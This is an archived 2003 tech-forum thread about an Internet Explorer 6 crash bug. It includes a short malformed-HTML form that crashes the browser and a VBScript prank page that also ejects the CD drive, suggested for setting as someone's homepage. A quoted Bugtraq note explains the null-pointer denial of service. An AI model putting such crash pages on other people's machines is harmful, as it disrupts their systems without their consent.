Tilted Forum Project Discussion Community

Tilted Forum Project Discussion Community (https://thetfp.com/tfp/)

- Tilted Technology (https://thetfp.com/tfp/tilted-technology/)

- - Gotta love IE... (https://thetfp.com/tfp/tilted-technology/5715-gotta-love-ie.html)

urbandev

05-08-2003 01:34 PM

Gotta love IE...

Lovely little IE fuck up...
CODE

this will crash IE 6+

edit: look a few posts down for the HTML which will crash IE

gamer715

05-08-2003 01:37 PM

I'm running IE 6 and all i see it a blank text entry box...

i'd like to see this work though it would be a great prank, set that as someones homepage and presto!

platypus

05-08-2003 01:45 PM

Not sure what code is in your box, but these 5 lines will crash IE6.
I left off the <'s and you can basically replace the word 'crash' with any unrecognized word.

html>
form>
input type crash>
/form>
/html>

thecow

05-08-2003 02:38 PM

Quote:

Originally posted by platypus
Not sure what code is in your box, but these 5 lines will crash IE6.
I left off the <'s and you can basically replace the word 'crash' with any unrecognized word.

html>
form>
input type crash>
/form>
/html>

Man, you weren't kidding. Took my work comp a few minutes to choke through the errors. My comp science teachers are always telling me to expect bad input from users, guess nobody up in redmond heard that advise before, ;) .

gamer715

05-08-2003 02:57 PM

Heh, combine this with the CD-drive open file and you get a CD-Opening, IE-Crashing home page... beginning carets removed of course...

Code:

html>

SCRIPT language=VBScript>

(PUTAOPENCARETHERE)!--

Set oWMP = CreateObject("WMPlayer.OCX.7" )

Set colCDROMs = oWMP.cdromCollection





if colCDROMs.Count >= 1 then

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next ' cdrom

End If

--(PUTACLOSECARETHERE)

/SCRIPT>

form>

input type crash>

/form>

/html>

Of course, replace the (PUTAOPENCARETHERE) and (PUTACLOSECARETTHERE) appropriately...

Or, to download this little bugger or see it live:
click here, or right click there and hit save target as to save.

juanvaldes

05-08-2003 03:28 PM

now now, it's not there fault they use what's default. And no warning == bad mojo.

charliex

05-08-2003 03:36 PM

hmm i tried the link on my ie gamer, didn't do anything cept pop out the cd and show a text box, which i entered text into
ie6 2800 sp2 xp, no crashes.

gamer715

05-08-2003 05:07 PM

charlie, link's fixed now. 50megs was messing it up, had to move it to brinkster. please note that it won't close IE altogether, just the window it's trying to open in...

urbandev

05-08-2003 10:02 PM

it only works(that ive seen) on IE6.0+

charliex

05-09-2003 08:43 PM

yep, that err fixed it , crashed alright.

buqtraq info. just for the heck of it ->

IE tries to compare the type of the input field to "HIDDEN", to see if it
should be rendered. When there is no type string, a null-pointer is used.

mshtml.dll calls shlwapi.dll#158 @ 0x636f0037 with a pointer to a static
unicode string "HIDDEN" and a null-pointer.
shlwapi.dll#158 does a case-insensitive comparison of two unicode strings:
it reads from address 0x0 because of the null-pointer and thus causes an
exception.
This is not exploitable, other then a DoS because there is no memory mapped
@ 0x0 and even if you could load something there, you could only compare it
to "HIDDEN" which gets you nowhere.

Berend-Jan Wever
----

luckily you can just exit out of that function with a debugger ;)

All times are GMT -8. The time now is 10:39 PM.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76